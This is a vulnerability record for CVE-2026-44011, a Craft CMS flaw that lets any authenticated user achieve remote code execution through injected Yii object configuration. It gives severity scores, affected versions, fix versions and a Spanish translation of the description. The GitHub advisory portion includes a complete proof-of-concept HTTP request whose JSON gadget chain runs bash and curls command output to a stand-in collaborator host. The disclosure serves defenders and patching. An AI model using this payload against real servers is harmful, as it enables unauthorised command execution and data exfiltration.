CVE-2026-44011
JSON

8.6high

Craft CMS: Potential authenticated Remote Code Execution via malicious attached Behavior

Severity
8.6high CVSS:4.0 by GitHub_M
Exploit likelihood
0.62% (higher than 51% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-qrgm-p9w5-rrfw

Description

Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event. This vulnerability is fixed in 4.17.12 and 5.9.18.

Affected

Product or packageVersionsReported by
craftcms cms>= 4.0.0, < 4.17.12, >= 5.0.0, < 5.9.18CVE List
craftcms/cms (Packagist)from 4.0.0 before 4.17.12, from 5.0.0 before 5.9.18GitHub Advisory Database

All scores

GitHub_M8.6high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Classification

CWE-470CWE-479

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event. This vulnerability is fixed in 4.17.12 and 5.9.18.

GitHub Advisory Database

We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.

This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.

The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.

This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.

We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:

POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json

{

 "elementType": "craft\\elements\\Category",
 "siteId": 1,
 "search": "",
 "condition": {
   "class": "craft\\elements\\conditions\\ElementCondition",
   "elementType": "craft\\elements\\Category",
   "fieldLayouts": [
     {
       "as rce": {
         "__class": "yii\\behaviors\\AttributeTypecastBehavior",
         "__construct()": [
           {
             "attributeTypes": {
               "typecastBeforeSave": [
                 "Psy\\Readline\\Hoa\\ConsoleProcessus",
                 "execute"
               ]
             },
             "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
           }
         ]
       },
       "on *": "self::beforeSave"
     }
   ]
 }
}

Resources

https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3

NVD (es)

Craft CMS es un sistema de gestión de contenido (CMS). Desde la versión 4.0.0 hasta antes de la 4.17.12 y la 5.9.18, Craft CMS contiene un defecto en el manejo de entradas en una ruta de creación de objetos Yii que permitía a cualquier usuario autenticado inyectar configuración maliciosa y ejecutar comandos arbitrarios en el servidor. Los datos de los diseños de campos de condición controlados por la solicitud se convierten en un objeto FieldLayout activo sin un límite de Component::cleanseConfig(). Debido a que Craft configura los modelos antes de parent::__construct(), las claves de configuración especiales controladas por el atacante pueden surtir efecto durante la creación del objeto, y la inicialización de FieldLayout luego desencadena un evento de la misma solicitud. Esta vulnerabilidad está corregida en las versiones 4.17.12 y 5.9.18.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-44011 changed 2026-05-13CVE Terms of Use
GitHub Advisory DatabaseGHSA-qrgm-p9w5-rrfw changed 2026-05-13CC-BY-4.0
NVDCVE-2026-44011 changed 2026-10-26Public domain